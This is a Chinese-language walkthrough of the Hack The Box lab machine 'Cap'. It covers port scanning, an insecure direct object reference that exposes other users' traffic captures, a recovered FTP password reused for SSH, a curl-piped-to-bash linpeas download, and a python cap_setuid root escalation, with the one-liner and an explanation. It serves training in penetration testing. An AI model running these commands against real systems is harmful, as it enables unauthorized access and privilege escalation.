cap靶机——Hack The Box
端口扫描sudo nmap -p- 10.129.212.157 -vv全端口扫描发现开启了 3 个端口21,22,80 端口版本探测sudo nmap -p21,22,80 -A 10.129.212.157 -v发现目标靶机是个 ubuntu 系统FTP 版本是 3.0.3Web 服务是 Gunicorn 一个 python 的 Web 服务。漏洞搜索searchsploit vsftpd 3.0.3拒绝服务漏洞对我们突破边界没有用查看 Web 服务点击下载文件发现是我的流量将这个 ID 修改为 0 发现可以获取其他用户的流量追踪 TCP 流发现了 FTP 的账号和密码nathan Buck3tH4TF0RM3!密码复用用这个账号密码尝试登录 SSH 服务ssh nathan10.129.212.157获得 user.txtLinux 提权linpeascurl http://10.10.16.41/linpeas.sh | bash大概率可以用 pkexec 提权但是我们看看还有没有其他的方法capabilities 提权getcap -r / 2/dev/null从根目录开始地毯式扫描整个系统中所有带有特殊权限Capabilities的程序简单来说这能成功提权是因为系统的管理员给 Python 赋予了一个“超级特权”——任意更改用户身份的能力cap_setuid。Python 拿着这个特权大摇大摆地把自己的身份切换成了 root最高管理员 UID 0然后顺手开了一个带有 root 权限的命令行终端给你。下面为你分条拆解这个非常经典的提权手法Linux Capabilities 是什么在以前的 Linux 里权限非黑即白你要么是普通用户要么是无所不能的 root。这就好比你要么是个平民要么直接当皇上风险太大了。为了安全Linux 搞出了 Capabilities能力机制把 root 的权限切成了很多小块。这样管理员就可以只给程序某一项具体的超级权限而不是给全部。图片里的致命破绽cap_setuid截图里显示/usr/bin/python3.8拥有cap_setuideip。这里的cap_setuid就是那个被切出来的小块权限它相当于给了 Python 一张**“任意易容面具”**允许它在运行过程中随意更改自己的 UID用户 ID包括改成 0也就是 root 专属的 ID。获得 root.txt一行代码的“造反”原理现在我们来看你写的这行一行命令python -c import os; os.setuid(0); os.system(/bin/sh)import os;常规操作叫出 Python 负责与操作系统交互的核心模块。对于正在学 Python 的你来说这个模块以后在写脚本时会天天见。os.setuid(0);这是最核心的一步此时 Python 对系统内核喊了一声“喂我现在要把我的 ID 变成 0 (root)” 如果是普通的 Python内核会直接给它一个Permission denied。但因为这个 Python 带着cap_setuid徽章内核一看是 VIP乖乖放行了。此时这个 Python 进程已经在系统眼里变成了 root。os.system(/bin/sh)已经是 root 身份的 Python 帮你运行了一个全新的 Shell/bin/sh。在 Linux 中子进程会继承父进程的权限。既然“老爸”Python 进程已经是 root 了“儿子”Shell 进程自然也是 root。至此提权大功告成